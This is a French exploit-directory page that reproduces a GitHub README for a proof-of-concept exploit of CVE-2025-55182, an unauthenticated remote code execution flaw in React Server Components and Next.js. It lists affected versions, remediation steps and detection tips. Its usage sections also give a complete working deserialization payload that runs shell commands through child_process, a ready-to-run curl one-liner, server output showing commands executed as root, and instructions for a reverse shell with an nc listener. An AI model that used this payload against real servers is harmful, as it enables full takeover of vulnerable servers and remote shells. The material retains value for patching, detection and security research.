Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-55182 — Exploit de preuve de concept pour CVE-2025-55182 : RCE non authentifié dans React Server Components via une désérialisation non sécurisée, permettant l'exécution de commandes arbitraires et des shells inversés sur les points de terminaison RSC/Next.js vulnérables. | Kitploit
Outils/GitHubGitHub/0xblackash/cve-2025-55182
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionRed TeamingDéveloppement de Charges Utiles
GitHub0xblackash/cve-2025-55182

CVE-2025-55182

Exploit de preuve de concept pour CVE-2025-55182 : RCE non authentifié dans React Server Components via une désérialisation non sécurisée, permettant l'exécution de commandes arbitraires et des shells inversés sur les points de terminaison RSC/Next.js vulnérables.

Voir le dépôt
1il y a 6 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

🚨 CVE-2025-55182 — React2Shell

hq720

Severity CVSS Type Status

CVE-2025-55182 est une vulnérabilité critique d'Exécution de Code à Distance (RCE) affectant les composants serveur React (RSC).


📌 Aperçu

Cette vulnérabilité permet à des attaquants non authentifiés d'exécuter du code arbitraire sur les serveurs vulnérables.

Le problème provient d'une désérialisation non sécurisée dans les points de terminaison des fonctions serveur des composants serveur React. Une validation inadéquate permet à des requêtes spécialement conçues d'exécuter des charges utiles malveillantes.


🧨 Impact

  • 🌍 Exploitable via le réseau
  • 🔓 Aucune authentification requise
  • ⚡ Faible complexité d'attaque
  • 💥 Compromission totale du serveur possible
  • 📈 Score CVSS : 10.0 (Sévérité maximale)

Étant donné que les frameworks basés sur React sont largement déployés, la surface d'attaque est extrêmement large.


📦 Paquets affectés

Les versions vulnérables incluent :

react-server-dom-webpack   19.0.0 – 19.2.0
react-server-dom-parcel    19.0.0 – 19.2.0
react-server-dom-turbopack 19.0.0 – 19.2.0

Les frameworks construits au-dessus de ces paquets (par exemple, les applications Next.js utilisant des versions vulnérables) peuvent également être affectés.


🔎 Cause racine technique

La faille est causée par :

  • Gestion non sécurisée des entrées sérialisées
  • Désérialisation côté serveur se produisant avant validation stricte
  • Absence de protection adéquate des points de terminaison

Cela permet aux attaquants de concevoir des charges utiles malveillantes qui s'exécutent sur le serveur.


🛠 Remédiation

✅ Actions immédiates

  • Mettre à niveau vers les versions corrigées de React (19.2.1 ou ultérieures)
  • Reconstruire et redéployer les applications
  • Auditer les points de terminaison RSC exposés
  • Surveiller les journaux pour les requêtes POST suspectes

🧪 Conseils de détection

Recherchez :

  • Requêtes POST inattendues vers les points de terminaison RSC
  • Charges utiles sérialisées suspectes
  • Exécution de commandes côté serveur inhabituelle

📚 Résumé

CatégorieValeur
VulnérabilitéExécution de code à distance
Authentification requise❌ Non
Vecteur d'attaque🌐 Réseau
Sévérité🔴 Critique
Exploitée dans la nature⚠️ Oui

Comment exploiter

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Retournera :

HTTP/1.1 500 Internal Server Error
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Content-Type: text/x-component
Date: Fri, 05 Dec 2025 11:53:05 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 195

0:{"a":"$@1","f":"","b":"PAoMR732SpRI6Xw9cbfbD"}
1:E{"digest":"uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"}

CVE-2025-55182 2 CVE-2025-55182 3 CVE-2025-55182 4

Utilisation

┌──(kali㉿kali)-[~/Downloads]
└─$ curl -i -X POST http://10.48.133.212:3000/ \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW" \
-H "Next-Action: x" \
-H "Next-Router-State-Tree: b5dce965" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0" \
--data-binary $'------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="0"\r\n\r\n{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'<COMMAND>\').toString().trim();;;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest:`${res}`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--'
HTTP/1.1 500 Internal Server Error
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Content-Type: text/x-component
Date: Sat, 28 Feb 2026 10:19:04 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked

0:{"a":"$@1","f":"","b":"3WpzTMYEK9QGOeqIBQxrR"}
1:E{"digest":"287088506"}
CVE-2025-55182 5 CVE-2025-55182 6
sudo python3 react2shell_poc.py http://10.48.133.212:3000 --cmd "whoami"
  • Résultat : ubuntu (ou similaire).
sudo python3 react2shell_poc.py http://10.48.133.212:3000 --cmd "id"

Pour un shell inversé :

  • Écouteur : nc -lvnp 4444
  • Exécutez : sudo python3 react2shell_poc.py http://10.48.133.212:3000 --rev-shell --rev-ip YOUR_IP --rev-port 4444
  • Il devrait se reconnecter ; la réponse affichera 'shell_started' dans le digest.

⚠️ Note finale

Si votre application utilise des composants serveur React, appliquez le correctif immédiatement. Les retards augmentent considérablement le risque d'exposition.


Télécharger l’outil